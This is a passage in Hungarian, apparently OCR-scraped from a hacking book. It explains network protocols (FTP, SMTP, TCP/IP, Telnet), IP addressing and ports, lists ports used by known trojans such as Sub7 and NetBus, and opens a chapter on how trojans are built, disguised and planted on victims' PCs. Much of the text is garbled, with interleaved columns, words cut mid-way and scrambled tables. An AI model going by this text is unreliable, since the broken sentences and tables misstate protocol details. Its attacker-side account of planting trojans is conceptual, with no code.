A kliens kérdést küld a számítógépnek, hogy a szolgáltatás
Kapcsolatfelépítés zésre áll-e, az pedig megerősítést küld, hitelesíti a felhas jelszót, és átküldi az átviteli opciókat és a fájlnev(ek)et. 2. fázis:
adatátvitelt. Miután ezt rögzítették, elkezdődhet a tulajdon-csolat létesítése adatátvitel. 3. fázis:
Az adatátvitel az FTP-n keresztül történik, a gyan azt már leírtuk. 4. fázis:
átadja a teljes állomány utolsó adatait, a kliens vissza-Az átvitel végének
A paraméterként megadott könyvtárra vált. cd ~
er home-könyvtárára vált. Mkdir New
Az aktuálisan
Létrehozza a New nevű
Törli a New néven létrehozott könyvtárat. Is -l
ktuális könyvtárban található összes fájlt. chmod
okat a fájlokhoz és/vagy könyvtárakhoz.
Ki
portra vonatkozó információkat, és előkészítik a tulajdon-Adatátviteli kap-
formában, aho-Adatátvitel
Leírás
r New
FTP
iga
ezeknek a fájloknak a fogadását. Most a szervergép Close bevezetése küld a kliensnek, amely veszi a parancsot, és elfogadja. 5. fázis: adateljárás mutatja a kontrolleljárásának (21. port) az átvi-Az átvitel
Megváltoztatja
bezárul. A kliens-adateljárás szintén terminál, a kontroli-lezárása azonban aktívan hagyja a további átvitelekhez.
Az öt kommunikációs fázis az FTP-nél
elj
rendelkezésre álló közel 60 parancsból itt csak a legfontosabk felsorolni:
s indul az FTP-kapcsolat a hosthoz. open host
Ha egy hosthoz még
a felhasználó azonban már az FTP környezetben található, az open host
elépíteni az említett kapcsolódást. user user
Ha már fennáll a
, a felhasználó azonban még nincs bejelentkezve, a user paranccsal
g. ascii
ASCII-re állítja az adatátviteli módot. binary
adatátviteli módot. bell
szükség, ahol lemez nélküli munkaállomásokat (diskless-workst tetnek, mert ezek nem tudják tárolni a logikai címüket. Bootolá tulajdonképpeni indítást értik, hanem csak a fontos konfiguráci telét.
Minden fájltranszfer után elhangzik egy
Kapcsoló: ha a cr be van kapcsolva (default), akkor a
ED karakterek LINEFEED-re módosulnak. prompt
Kapcsoló: ha a
pcsolva (default), akkor több fájl átvitelénél minden fájl után egy interaktív
ezik.
P-parancsok
k Transfer Protocol nem a TCP-re épül, mint az előbb tárgyalt UDP-re (User Datagram Protocol). Bár ez is adatok átvitelét m a végfelhasználó számára készült, mivel a kapcsolat biztosítatz átviteleknél nincsen jelszólekérdezés, csak a forrás-IP marad delkezésre álljon a szükséges tartomány. A legfontosabb parant, a mode, a get, a put, a verbose és a quit. néhány szó arról, hogyan is folyik itt az adatátvitel. A TFTP ens-szerver elvre épül. A kliens egy kérést küld a szervernek, az megkezdődik az adatátvitel. Minden adatrekord 512 bájtos, és a zza. A kliens akkor tételezi fel automatikusan az átvitel végét, ha rd 512 bájtnál rövidebb.
ocol is az UDP-re (Use Datagram Protocol) épül, és tulajdonképpen ztették, hogy boot-folyamatokat aktiváljon. Erre csak ott van
SMTP
A Simple Mail Transfer Protocol alighanem a legtöbbet haszn interneten. Az SMTP már a kezdet kezdetén a Unix-rendszer dett be, és időközben a normál PC-ken is megtalálta a helyét. A kezeli a mail-szoftverét, és itt készít elő egy üzenetet. Ha ezután netét, akkor ez annyi időre kerül a köztes tárba, amíg a TCP a (az OSI modell keretei között) átviszi. A kliensnek és a szervern parancs, illetve reakció áll a rendelkezésére, amelyeket most ne Helyette a szerver és a kliens közti kis párbeszédet mutatjuk be ver részéről mindig pozitív válaszból indulunk ki): • A kliens session-t épít fel a szerverhez. • A szerver megerősíti a szervizek rendelkezésre állását. • A kliens azonosítja magát. • A szerver azonosítja magát. •
A kliens átadja a tulajdoképpeni parancsot, amely mail-k
be. • A szerver a beleegyezését adja. • A kliens átküldi a címzettet. • A szerver válaszol: a postafiók elérhető. • A kliens inicializálja az adatátvitelt.
• A szerver felveszi az adatokat, és a befejezéshez kéri a
csot.
• A kliens az átvitel befejezése után, ahogy megállapod -et. • A kliens a megfelelő paranccsal befejezi a kapcsolatot. • A szerver erre service closing-gal felel.
as években más mail-rendszereket is bevezettek, kompatibilitási ek fel. Az átmenetekkel nem volt könnyű megbirkózni, így nayes konvertereket kellett alkalmazni. 1992 óta nagyjából csak a purpose Internet Mail Extensions) használják, amely már nem ak a tiszta szövegküldésre, hanem a legkülönbözőbb adattípusoka, audió stb. is át lehet küldeni vele.
rocedure Calls-t akkor használják, ha több különböző kapacitású szádelkezésre, és olyan feladatot kell elvégezni, amely nagyon nagy ásokat igényelne. Az RPC-vel a részfeladatokat specifikusan az kvalifikált számítógéphez lehet rendelni, így a különböző számítótni, egy multikomputerré olvadnak össze. Ez az eljárás egyébként yre nagyobb figyelmet vívott ki magának a nagyvállalatoknál és a nél. A pontosabb felépítésébe itt nem megyünk bele.
Information Services műveletek biztonsági objektumok és elérési re szolgálnak. Ez a rendszer, amelyet eredetileg a SUN fejleszYellow Pages volt a neve), lehetővé teszi a decentralizált userID-k, elszavak központi adminisztrációját. A NIS működtetéséhez a ponensekre van szükség:
atbázis egy túlméretezett /etc/passwd-fájlt jelenít meg a hálózat
ster-Server a megfelelő domainekkel kezeli a NIS-adatbázist.
ve-Server az adatbázis egy biztonsági másolatát tartalmazza a erver kiesésének az esetére.
domain a NIS-adatbázisban leképezett számítógépek csoportja.
ent egy számítógép, amely a szervertől kap adatokat, de nem változtatni ezeket.
Transzport réteg
A transzport rétegnek a következő feladatokat kell ellátnia:
• Lehetővé tenni az adatátvitelt dedikált transzportkapcsolato • A kapcsolatokat ellenőrzötten kell felépíteni és bezárni.
Multiplexing: egy kommunikációs csatorna felépítése, am egyidejű átvitelére lehet használni.
• Ellenőrzés, hibafelismerés és folyamatvezérlés a kapcsolat a • Optimalizált adatfolyam - Windowing-nak is nevezik.
• Az adatfolyamok priorizálása, vagyis az adatfolyam prioritá küldése. A transzport rétegben két protokoll található, a már említ UDP (User Datagram Protocol). Transmission Control Protocol (TCP)
A TCP a következőkre képes: • Adatfolyam-átvitel • Virtuális full-duplex kapcsolatok • Adatfolyam-vezérlés • Hibafelismerés • Prioritásvezérlés
A TCP az egyik fő protokoll, és a protokoll-család más tagj valamennyi adat megbízható átvitelét garantálja. Ebben a hibael funkciói segítenek, gondoskodva arról, hogy a fogadott adatok állapotban és sorrendben érkezzenek meg, amelyben azokat elkü dául minden elküldött csomaghoz egy numerikus értéket generá téknek a segítségével a két egymással összeköttetésben álló szám csomagot azonosít. A címzett minden fogadott csomagról egy ü feladónak, s ez igazolja az átvitel tökéletességét. Ha egyszer még elő az adatátvitelben, a címzett ennek megfelelő üzenetet küld újrakéri az érintett csomagot.
s felügyeli, hogy nem lépett-e fel súlyos hiba az adatátvitelben, etben automatikusan megszakítja a kapcsolatot a másik számítólten átküldi az adatokat, ha a célszámítógép egy bizonyos idő megerősítést a fogadásukról. Ebből látszik, hogy a TCP teljes felel a hírének, miszerint biztonságos átviteli protokoll. azás, mint például az Internet Explorer, a TCP-re bízhatja a kapét; ehhez persze még más fontos protokollokra is szükség van. ot egy három részből álló folyamat vezeti be, amelyet three-wayneveznek.
ő számítógép, illetve a kliens elküldi a kapcsolatra irányuló ké egy portot, amellyel a távoli számítógéphez, illetve a szerverhez olódni.
megerősítéssel és egy várakozási listával (a kapcsolathoz) válaszol.
megerősítéssel válaszol, és a kapcsolat felépül.
megnyitása után mindkét irányba áramolhatnak az adatok.
gram Protocol (UDP)
C DNS
161
69
SNMP
TFTP
25 SMTP
32 FTP
23
80
TELNET HTTP
agram Protocol (UDP) Transmission Control Protocol (TCP)
z UDP/TCP
Internet Protocol (IP)
Az Internet Protocol felelős az adatcsomagok átviteléért a mennyi protokolljánál. Az Internet Protocol egy headerből és az azt követő adatblok többek között az adatcsomagok fragmentálásáért is felelős. A f azt jelenti, hogy egy adatcsomag legfeljebb 65535 bájt méretű csomag ennél nagyobb, az lefagyaszthatja a PC-t. Ezt nevezik p lásnak (Buffer Owerflow), amelyről később, a DoS-támadásokró ben többet mondunk. Hogy ezt elkerüljék, a csomagot részcso bolják. A elküldött csomagokat a célrendszerben újból egyesítik reassembly néven ismertebb. Ezt a bonyolult folyamatot megpróbáljuk egy header-mode megmagyarázni: Version
ztosítatlan protokoll, amely a TCP-nél említett tulajdonságok dicsekedhet. Ugyanúgy biztosítatlan, mint azok a protokollok, nszportréteg alatti rétegek tartalmaznak. Az ok, amiért az UDP li réteghez tartozik: az IP ugyan elő tud állítani kapcsolatokat, tud adatokat továbbítani az alkalmazásoknak. Az UDP ezt a, mint a TCP. Az UDP azonban nem kéri a fogadás megerősítehát, mondhatni, egy alkalmazáscsatoló-felület az IP-hez. A roppant rövidre fogott: információkat tartalmaz a kiinduló rtról, az adatok hosszáról, és közli a UDP-header adatainak az t. kis táblázat példákat mutat arra, hogy milyen szolgáltatások érP-vel, illetve a TCP-vel. 53
Hálózati réteg Ez a réteg különböző protokollokat fog össze, amelyek aktíva az adatok átvitelében, például:
Flags
|
HL
Type of Service
Totál Length Indent
Fragment Offset TTL
Protoco
Header Checksum Source Address Destination Address Options Padding Data
Version: az IP-verziót jelöli. Az interneten pillanatnyilag m használják, azonban közeledik a váltás a 6. verzióra, amelyet néh zatban (LAN) már használnak. IHL vagy HL (Internet Header Length): az IP-header hossza kokban van megadva. Type of Service: minden bitnek csak ajánlókaraktere van. A Pre séget nyújt a vezérlőinformációk előnyben részesítésére. Totál Lenght: az adatcsomag teljes hossza bájtban (max. 64 K Identification: egy adatcsomag egyértelmű ismertetőjele. En és a Source Address-nek a segítségével ismerhető fel a töredékad zósága. Ezek és a két következő mező vezérlik a reassembly-t (ld
bitnek a következő a jelentése:
gment: olyan hostokhoz, amelyek nem támogatják a álást.
gments: hogy kiderüljön, hogy egy adatcsomag minden umát fogadta-e. Offset: egy adatcsomag adatbájtjait számozza, és kiosztja a fragAz első fragmentum offset O-t kap, minden továbbinál egy fragmezőjének a hosszával növekszik az érték. Ennek az értéknek a dja a címzett megállapítani, hogy hiányoznak-e töredékek. e (TTL): Minden csomagnak van egy előre megadott maximális mit itt lehet megadni. Routolási hibánál, például huroknál, az lamikor el lesz távolítva a hálózatról. Mivel az időmérés meglematikus a hálózatban, és a headerben nincs feljegyezve indulási uter úgy dekrementálja (kicsinyíti) a csomagot átfutáskor, hogy tékre csökkenjen. Ekkor a következő router már nem veszi fel. Mivel a különböző protokollok az IP-re támaszkodnak, meg kell delt ULP (Upper Layer Protocol) protokollt. A fontos ULP-k: Leírás ICMP (Internet Control Message Protocol) 3
-to-Gateway Protocol) 6
TCP
Control Protocol) 8
EGP
ay Protocol) 17
UDP (User
col)
P-k
ecksum: az IP-header ellenőrzőszáma. Mivel a TTL-érték (Time tleg a flag és a flag offset értékei is minden routernél változnak, lően kell alakítani az ellenőrzőszámot. Ezáltal teljesül a 1 6 bites ás. A felesleges késleltetések elkerülése érdekében a header ela korlátozódik. ress: a forrásállomás internetcíme. Itt van feljegyezve a küldő száme. Address: a célállomás internetcíme. Itt van feljegyezve a fogadó címe.
Options: opcionális mező további információknak. Sok kódot kiegészítésekhez terveztek. Az opciók mindenekelőtt a hálózati bakeresést és a méréseket szolgálják. A legfontosabbak: • Record Route: naplózza az adatcsomag útját. •
Loose Source Routing: a küldőállomás előír néhány közb
• Strict Source Routing: a küldőállomás minden közbeeső állo
• Timestamp Option: az IP-címe helyett, akárcsak a record r den gateway a feldolgozás időpontját jegyzi be.
• Padding: kitöltő bitek. A padding feladata, hogy bináris null re egészítse ki a frame-et.
Mint látjuk, az internetprotokoll igazán komplex, de mindez az adatok átvitelét szolgálja. Address Resolution Protocol (ARP)
Egy hálózatban minden számítógépnek van egy, a firmware á niált fizikai címe. A számítógépes kommunikációhoz azonban n nem logikai címet használnak, amelyet például az interneten talál meghajtó egymagában nem képes arra, hogy a logikai címén számítógépet, mivel semmilyen módon nem áll összeköttetés hardvercímével. Tehát a logikai címet a fizikai címre kell cserél az ARP. Ez egy headerből és az ARP-csomagból áll, és tartalmaz adatokat a logikai forrás-protokollcímhez és a fizikai címhez is. Reverse Address Resolution Protocol (RARP)
A RARP az ARP-vel ellenkező irányban működik. Ahelyett, címből állítaná elő a fizikait, a host egy RARP-kérést küld a f amire azután a RARP-szerverek a hálózatban átnézik a saját refe taikat, és egy RARP-választ küldenek vissza, amely tartalmazza Ezt a módszert tulajdonképpen csak olyan számítógépeknél ha lyeknek nincs olyan adathordozójuk, amelyben tartós, logikai c tárolni, és ezért mindig csak a fizikai cím ismeretével bootolnak
ontrol Message Protocol (ICMP) eladata az üzenetek, például a hibaüzenetek közvetítése. Ugyanaz IP-t, mintha maga is egy fölérendelt protokoll lenne, azonban kotórésze.
aüzenetekről, amelyeket az ICMP küld:
eírás
estination unreachable: a célállomás nem érhető el. 4
puffer-erőforrások elhasználva. 5 -elterelés. 11
Time exceeded: a timer
Paraméter Problem: Paraméter-probléma.
3.3.1 A Telnet
A Telnetet az RFC 854 (Request for Comment, az internetfejles kafeljegyzése, http://www.ietf.org/) a következőképpen defini protokoll célja egy általános, mindkét irányra kiterjedő, 8 bit/bájt-orie kációs lehetőséget nyújtani. A fő cél egy szabványos módszer létrehozás keken alapuló folyamatok összekötésére. A Telnet tehát lehetővé teszi a felhasználóknak, hogy távoli s jelentkezzenek be az interneten, és parancsokat hajtassanak végre mítógépeken. Sőt, a Telneten keresztül programokat is el lehet rendszereken, ehhez a Telnet egy terminált szimulál (szöveg, gra
Windows alatt egy Telnet-kapcsolat a következők szerint épü
eteinek listája
az információs üzenetekről:
eírás
1. Windows 95/98 (és magasabb verzió) alatt kattintsunk a Sta mire megjelenik egy kis párbeszédablak. 2. Gépeljük be a telnet.exe sort. 3. Kattintsunk az OK-ra, a Telnet elindul.
cho reply 8 Time
4. A szokásos módon tárcsázzunk be a szolgáltatónkhoz. 5. Váltsunk vissza a Telnet-re.
est 16
6. Kattintsunk a Hálózati rendszer kapcsolatra. Megjelenik egy pá
17
7. Beírjuk a következőket:
uest 18
ly
iós üzeneteinek a listája
n megfelelően módosul, és az adatok visszajönnek a számítógépre.
•
Hostnév: meine-domain.de
• Csatlakozás: telnet • terminál típus: vt 100 8. Kattintsunk a Kapcsolatra.
ány alkalmazás és protokoll használata és ztonságosságuk
9. Most megjelenik: Welcome, a szerver üdvözöl, és készen áll.
protokolloknak a használata és a lehetséges biztonságosságuk telei a hackerek cselekményeinek.
11. Ezután nyomjuk le az Enter-t.
10. Adjuk meg a login-nevünket. Ez az a név, amelyet az FTPlunk (ld. lejjebb).
12. Most a szerver a jelszót akarja tudni. Ez ugyanaz a folya FTP-nél.
A CuteFTP felülete
rtassuk magunkat, amiért nem látjuk, amit írunk, a jelszó beírása ható.
e még egyszer az Enter-t.
pcsolatban vagyunk a szerverrel. A parancssort lehet látni, pl. ubis2$, b3$ stb. lehet írni a parancsokat. Felépül a Telnet-kapcsolat
A Telnettel az az egy gond van, hogy minden adatot kódolatlan szövegként visz át. Mivel a Telnet felhasználóazonosítást kíván (loginnév, jelszó), egy betolakodó, ha beleolvas a omba, nagyon könnyen megszerezheti a fiókadatokat.
FTP
ávoli rendszerek közötti adatátvitel egyik módszere. Az FTP-t az for Comments, biztonsági kézikönyv) így mutatja be: Az FTP fel(programok és/vagy adatok) közhaszmú átvitele, 2. távoli számítógépek mplicit (programokon keresztüli) használatának az elősegítése, 3. a szerek fájlrendszerei közötti strukturális különbségekből adódó vesződolása és 4. adatok megbízható és hatékony átvitele. Bár az FTP-t egy vetlenül is lehet használni, elsősorban programokon keresztüli hasznáék. adatátvitel egy FTP kliensen keresztül történik, ilyen például a y a WS_FTP. A kliens egy kérdést küld a távoli számítógép FTP Ezt a kérdést a 21. porton keresztül teszi fel.
Egy kapcsolat létrehozásához, FTP-szervernek, illetve FTP da futnia a célszámítógépen. Az FTP-nek két fajtája van: a User-FTP és az Anonymus-FTP nél a felhasználónak a login-nevével és a jelszavával kel bejentkeznie. Az Anonymus FTP-nél bárki bejelentkezhet a sze névként többnyire Anonymus-t, és jelszóként egy e-mail-címet k zel az FTP-szerver nyilvános részéhez kapunk hozzáférést. Az A fontos szolgáltatás az interneten, mert általa a programok vagy a d minden internet-felhasználó számára elérhetők. Az FTP biztonsága
Az FTP nem túl biztonságos protokoll, s különbözőképpen tá a legfontosabb támadási formák. Jelszótámadások
Az FTP igen alkalmas a jelszavak kipróbálására, mivel a szabvá cióban nincs korlátozás a jelszavak beírására, tehát akárhányszor m a jelszót. Ezt a támadást Brute Force-rohamnak is nevezik. szervereknél ki lehet találni az érvényes login-neveket. Ha valak login-nevet ad meg, akkor a szerver hibakóddal válaszol.
ffing
TP kódolatlan szövegként továbbítja az adatokat, ha egy betörő lózati forgalmakba, felhasználói adatok birtokába juthat. Erről a óló fejezetben további részleteket tudhatnak meg.
eltöltés
erverre lehet Anonymus-belépéssel szoftvert feltölteni (upload). Egy módon manipulált szoftvert helyezhet el a szerveren (vírus, trójai).
IRC
ternet Relay Chat) az e-mail mellett az egyik legkedveltebb szolerneten. Többrésztvevős valós idejű konferenciákat tesz lehetővé. felhasználók, szervertől függően (IRC szerver, pl. irc.euirc.net), a bb csatornákon (channels) lehetnek. A beszélgetésekhez ma már kliens valamelyikét használják. A legismertebbek közé tartoznak hC és a pIRCh. IRC-felület
álóan alkalmas a Social Engineering-re. Leginkább az újoncok vehogy bizonyos parancsokat, amelyeket a chat-en mondott nekik ajtsanak. Egy támadó elküldetheti például e-mailben magának a
jelszófájlt. De az IRC-parancsokból is sok információt tudhat me felhasználóról, amelyek a segítségére lehetnek a további támadás veszélyt jelenthet a fájlcsere is, ahol mindig szívesen küldenek t rusokat (ld. a trójaiaknál). A legnagyobb veszélyt azonban maguk ve a szerverprogramok jelentik. A rosszul konfigurált kliensprog több elérést engednek meg a szervereknek a helyi erőforrásokra mint amennyi tanácsos volna.
3.3.4 Az IP-címzés
A címzés az interneten az IP-címzésen alapul. Az interneten rás egy egyértelmű számmal, az IP-címmel érhető el. Az IP-címek archikus, ami azt jelenti, hogy egy ügyfél a szolgáltatójától kapja ges IP-címet, a szolgáltató megintcsak a hálózattól kölcsönz amelyre csatlakozik, miközben a hálózatok üzemeltetői időbeli kül, blokkokban kölcsönzik IP-címeiket, az IP Numbering Autho pában a RIPE (http://www.ripe.net/) felelős az IP-címek kiosz
Hogyan néz ki egy IP-cím?
A jelenleg használt IP-protokoll az IPv4. Minden IP-cím 32 vel az ilyen számkombinációk igen körülményesek, többnyire a p írásmódot használják, amelynél a 32 bit 8 bitekre van felosztva, mális számként írják le. Eszerint egy IP-cím négy bájtból áll: 11000010 194 Pl: 11000010 128 1 1 1 0 0 0 1
01001101 77 64
32
01111100 124 16
8
4
Minden kvadráns egy 0 és 255 közti számot reprezentál, íg szegmenssel elméletileg több mint négymilliárd (pontosan: 4 29 met lehet kezelni.
ti osztályok kiderült, hogy négymilliárd IP-címet nagyon nehezen tud egyetkezelni. ntesítés céljából az InterNIC, amely a 90-es évek elején átvette az elését, az egyes IP-címterek kezelését nemzeti NIC-eknek és knak adta át, amelyek, az InterNIC-től függetlenül, önállóan a hozzájuk utalt címtartományokat. Így jöttek létre a hálózati osza.bbb.x.x), amelyekben csak az első negyedet határozza meg egy ék háromnegyedet szabadon lehet kiadni. gfelelően a négymilliárd IP-címet ismét három osztályba sorolés C-osztályú hálózatokba.
Címek
Leírás
x.x.x.0 és
Minden IP-címben a negyedik szegmensben a 0 és 255 érték
x.x.x.255
szertől függően zárolva vannak; a 0 a subnet megnevezésé
alatt a negyedik negyedben minden gépet értünk 1 -254-ig), a 255 a negyed
broadcast-címként szolgál (ezzel az értékkel érhető el egy subnet minden sz 127.x.x.xx
Minden IP-cím, amelynek ez az első szegmense, TCP/IP viss
hurokként szolgál. TCP/IP-installációk tesztelésére szolgálnak a számítógépe pinggel egy tetszőleges 127-es címre). 10.x.x.x
Ez az A-osztályú há
internetre kapcsolódó intranet helyi gépei számára van fenntartva. Ezen az
hálózaton belüli IP-címeket csak az intraneten belül lehet routolni. 172.16.x.x
Leírás
B-osztályú hálózat ugyancsak egy internetre kapcsolódó intranet 172.31.x.x-i
Az A-osztályú hálózatok az első negyedben 1 és 126 közötti értékeket
gépei számára van fenntartva. E B-osztályú hálózatokon belüli IP-címeket cs
A-osztályú hálózatok tulajdonosai az InterNIC-től (ami most is minden A-
intraneten belül lehet routolni. 192.168.
ot kezel) kapják az első negyedet, és az IP-cím fennmaradó 24 bitjét
internetre kapcsolódó intra-00192.168.
k ki. Az A-osztályú hálózatokat azonban mára már mind kiosztották,
C-osztályú hálózatokon 255.255-ig
at létesíteni az interneten. aaa.bbb.x.x
A B-osztályú hálózatok első
routolni. 224.x.x.x239.
Ez a 256 C-osztályú hálózat u
net helyi gépei számára van fennt
belüli IP-címeket csak az intraneten b
Az 1. negyed értékek 224-239-ig a multicast-címe
-191-ig vannak értékek, és a második negyedben van a 0-255-ig
egyetlen x.x.x-ig
meghatározott hálózatot sem definiálnak és több cím
ékterület. A B-osztályú hálózatok tulajdonosai a két első negyedet
biztosítják az adatcsomagok egyidejű átvitelét. Ezeket időnként D-osztálynak i 240.x.x.x255.
A jövőbeli fejlesztésekhez zárolva vannak még az 1. szegmens
65536 különböző IP-címet jelent egy B-osztályú hálózaton belül).
x.x.x-ig
254-ig. így a négymilliárd elméletileg rendelkezésre álló IP-c
A C-osztályú hálózatok első negyedében 192-223-ig vannak értékek, és
már csak egy „töredéke" marad. Már ma is szűkösen megy a B- és C- oszt
észen kiosztva kapják, és a maradék 16 bitet adhatják ki maguk (ez
m kvadránsban megint a teljes értékterület tartozik 0-255-ig. A C-
címek kiadása, mivel a szabad számkészlet mindig kisebb lesz. Ezért van be
tok tulajdonosainak az első három szegmenst (aaa.bbb.ccc.x)
az Ipv6 IP-címzési rendszer, amelyben egy IP-cím a mostani 32 bit helyett 12
negyedikről szabadon rendelkezhetnek (ez kiszámolva 256 különböző
yú hálózatok
-címek
állni.
Foglalt IP-címek
3.4 Aportokról
van, amelyet a szolgáltatók nem oszthatnak ki, mert más célokat
Ebben a könyvben gyakran találkozunk a port fogalmával, ezér magyarázat következik, amely a további szövegek jobb megértésé A port egy csatolófelület, amelyre információk tudnak bejön menni. Néhány ilyen csatolófelületet biztosan minden felhasznál
ik például az egér és a billentyűzet mint adatbeviteli eszközök. után a monitor vagy a nyomtató jelenti. errendszer szintén különféle portokat kínál az interneta különböző szolgáltatásokhoz. Itt azonban nem fizikai, hanem erportokról van szó. Portjai minden olyan operációs rendszernek ly támogatja a TCP/IP-t, tehát vannak a Linuxnak, a Unixnak és a BeOs-nak is. Ezeket a portokat számokkal jelölik. 5536 port van. Az 1-1023-ig portok a standard, illetve statikus Well known portok. Ezek a közkedvelt szervizeknek vannak fennzerint csak az arra jogosult felhasználók érhetik el őket. így pélő egy weboldal letöltésekor automatikusan kapcsolatot létesít a rver 80. számú portjával. Ez a port bocsátja rendelkezésre a Webhez szükséges HTTP kommunikációs protokollt. A minollok megfelelő porthoz rendelésével kapcsolatos információkat teg tartalmazza. E-maileket például a Simple Mail Transfer TP)-on keresztül küldünk. A mail-szolgáltatás ennek megfelelőwn portok szabványa szerint, a 25. portszámról megy. t portok az 1024-49151 portok, és gyakran bizonyos szervizekhez vezve, de rendszerint mindenki használhatja őket. A nagyobb portokat dinamikus vagy privát portoknak nevezik, ezeket más aját készítésűek is, használhatják. kkor nyitott, ha egy program ezen a porton egy kérésre (request), désre vár. Ha egy FTP szervert telepítünk a rendszerre, akkor ez porton vár kérdésre, ez a port tehát nyitott. ok/ról/on káros adatcsomagok, illetve rossz szándékú támadások agy fogadhatók. Megfelelő védőmechanizmusok nélkül az ilyen bnyire a számítógép lefagyásához vezetnek. A manipulált adatdéséhez általában adott portokat használnak, s a megfelelő szolgramhibáira építenek. ortok komoly biztonsági hiányosságokat is jelentenek a rendszen a portokon keresztül az avatott hackerek be tudnak törni az szerbe. Ezért ajánlatos a rendszer gyakori vizsgálata egy el - ilyen például a 7tf Sphere (www.hackerzbook.de) -, és az portok lezárása egy tűzfallal.
Egy portszkennelés eredménye
A következő táblázat néhány fontos portot ír le:
Port
Leírás
21
FTP (File Transfer Protocol) 23
25
SMTP (mailküldéshez, Simple Mail Transfer Protocol) 43
(utánanézni, kié egy weboldal) 53 kereséséhez) 66
Telnet (Service, nem pr Domain Name Server (DNS nev
SQL * Net (SQL Server Port) 79
Finger
(információk egy felhasználóról, például hogy vannak-e mail-jei) 80 (World Wide Web) 110 jeinket 137
POP3 (Post Office Protocol 3); itt kérjük le a
Netbios Name Service (hálózati PC-k nevei) 138
Netbios Datagramm Service (Adatforgalom a hálózatban) 139
Netb
Session Service (a nukerek is ezt használják)
A legfontosabb portok áttekintése
Valamennyi port listája a http://www.iana.org/assignments/ numbers weboldalon található.
A portokat a trójaiak is használják, ezért most felsoroljuk a legismertebb trójaiak legfontosabb portjait. Port
Trójai
2140
Deep Throat 6670
Deep Throat 6771 Throat 30129 Paradise 5400 12361
Deep Masters Blade Runner
Whack A Mole 20034
Netbus 2 Pro 21544 12345
Girlfriend
Netbus 31337
Régi Back Orifice (BO) 1243 Régi Sub 7 27374 30100
Sub7
Netsphere 456
Hackers Paradise
A trójai portok
Az összes ismert trójai portról a http://www.un.secure.de címen kapunk pontos listát.
4. fejezet - Tartalom 4.1
A történelmi minta.
4.2
Miből
áll
egy
trójai?
4.2.1 A szerver kiosztása 4.2.2 A kliens otthon marad, és vezérli a szervert 4.2.3 Hogyan szerzik meg a hackerek az IP-t? 4.3 Így álcázzák és terjesztik a trójaiakat 4.3.1 A trójaiakat fájlokba integrálják 4.3.2
Álcázás
a
WinZip-pel
4.3.3 A trójaiakat az ICQ-val is tovább lehet adni 4.3.4 Elég egy CD és az automatikus lejátszás funkció 4.3.5 A lemezek majdnem ugyanígy működnek 4.3.6 További terjesztési stratégiák 4.3.7 Mit csinálnak a hobby-hackerek a trójaiakkal? 4.4
Sub7 - egy trójai rémisztő lehetőségekkel 4.4.1 Támad a Sub7
4.5
BackOrifice 2K - Hálózati eszköz vagy támadás a Microsoft ellen 4.5.1 A BO2K és összetevői
4.6
Így
ismerjük fel a trójait a rendszerünkben
4.6.1 Vírus- és trójai-szkenner 4.6.2 AutoRun bejegyzések 4.6.3
Windows-Registry
-
ez
már
izgalmas
4.6.4 Módszerek az Explorer.exe-vel a C:\ meghajtóra 4.6.5 A runonce.exe kicserélése
A trójaiak
4.1 A történelmi minta Bizonyára mindenki ismeri a homéroszi történetet: Párizs, a trójai király megszöktette a szépséges görög Helénát. Erre a görögök évekig ostromolták eredménytelenül Trója városát. Amikor látták, hogy ostrommal nem tudják bevenni, a görög Odüsszeusznak támadt egy ötlete. Építtetett egy hatalmas falovat, a trójaiak isteni jelképét, és Trója kapuja elé állíttatta. Ezután a görögök visszahúzódtak. A trójaiak a biztos győzelem tudatában bevontatták a lovat a városba, és önfeledten ünnepeltek. De a ló belseje a legerősebb és legbátrabb görög harcosokat rejtette, akik azután éjszaka kimásztak a ló hasából, és kinyitották a város kapuit a görög seregnek, amely a város közelében rejtőzött. Trója elesett - a hackerek pedig a magukévá tették a trójai faló ötletét. Trójainak tehát egy szoftvert nevezünk, amelyről azt sem tudjuk, hogy a számítógépünkre került, mégis mérhetetlen károkat okozhat. Hogy a trójai eltitkolja az elhelyezését, álcázást használ, akárcsak a görög katonák.
4.2 Miből áll egy trójai? Először is tudni kell, hogy miből is áll egy trójai. Az RFC 1244 (Site Security Handbook) így írja le a trójait (a szerző fordítása): Trójai lehet egy program, amely valami hasznosat vagy csak valami érdekeset csinál. Mindig valami váratlant tesz, például a tudtunk nélkül jelszavakat lop vagy fájlokat másol. Még egy kicsit világosabban leírva: a trójai egy meg nem engedett kód egy legitim programon belül - tehát az eredeti program megváltoztatása. Különböző műveleteket hajt végre, amelyekről a fertőzött rendszer felhasználója mit sem tud. A trójai lehet egy hasznos program, amelybe meg nem engedett kódot ágyaztak - ilyenkor a program a trójai program hordozója-
ként működik. De lehet egy olyan program is, amely látszólag hasznos funkciókat hajt végre, de az engedélyezetlen kódja alapján olyan funkciókat is elvégez, amelyekről a fertőzött rendszer felhasználójának nincsen tudomása. A legegyszerűbb formájában a trójai egyszerűen egy kémprogram lehet, amely információkat közvetít úgy, hogy a bevitt adatokat egy előre megadott e-mail-címre küldi a következő online-kapcsolatnál. Ez a tipikus feladata egy keylogger-nek, amely egy fájlba naplózza felhasználói beviteleket, vagyis egy keyboard logfájlt készít. Jóval komplexebbek azok a programok, amelyek nemcsak adatokat küldenek el, hanem a számítógép távirányítását is lehetővé teszik. Itt mutatkozik meg a trójaiak és a klasszikus távkarbantartó programok hasonlósága, amelyek távoli számítógépek hálózaton vagy telefonvonalon keresztüli kezelését teszik lehetővé. Hogy az akciók lehetőségei milyenek lehetnek, az kiderül a továbbiakban a különböző trójai programok leírásából. Azonban a trójai és a származási helye között minden esetben kapcsolatnak kell lennie. Ez a kapcsolat manapság legegyszerűbben az interneten vagy egy hálózaton keresztül valósítható meg.
4.2.1 A szerver kiosztása Ahhoz, hogy egy számítógép vagy annak az adatai elérhetővé váljanak, telepíteni kell a szervert a cél-, illetve áldozat PC-re. A szerver a központi program, amely lehetővé teszi az idegen számítógép „távirányítását". Csak akkor lehet egy (internetes vagy hálózati) kapcsolaton keresztül az IP-cím segítségével az idegen számítógépet elérni, ha a szerver - mint program aktív. Úgy képzelhető el, hogy a hacker megpróbálja elhelyezni vagyis „szórni" a szervert a célrendszereken, hogy később egy klienssel célzottan érhesse el a kitelepített szervereket. Az elérés csak akkor jöhet létre, ha a fertőzött számítógépet az IP-címén keresztül sikerül megszólítania. A hacker ilyenkor többnyire a következő problémákkal szembesül: • A szervert el kell juttatni a felhasználóhoz, azaz „rá kell sózni". * A felhasználót rá kell venni arra, hogy el is indítsa a szervert. A hackernek meg kell kapnia a fertőzött PC aktuális IP-címét.
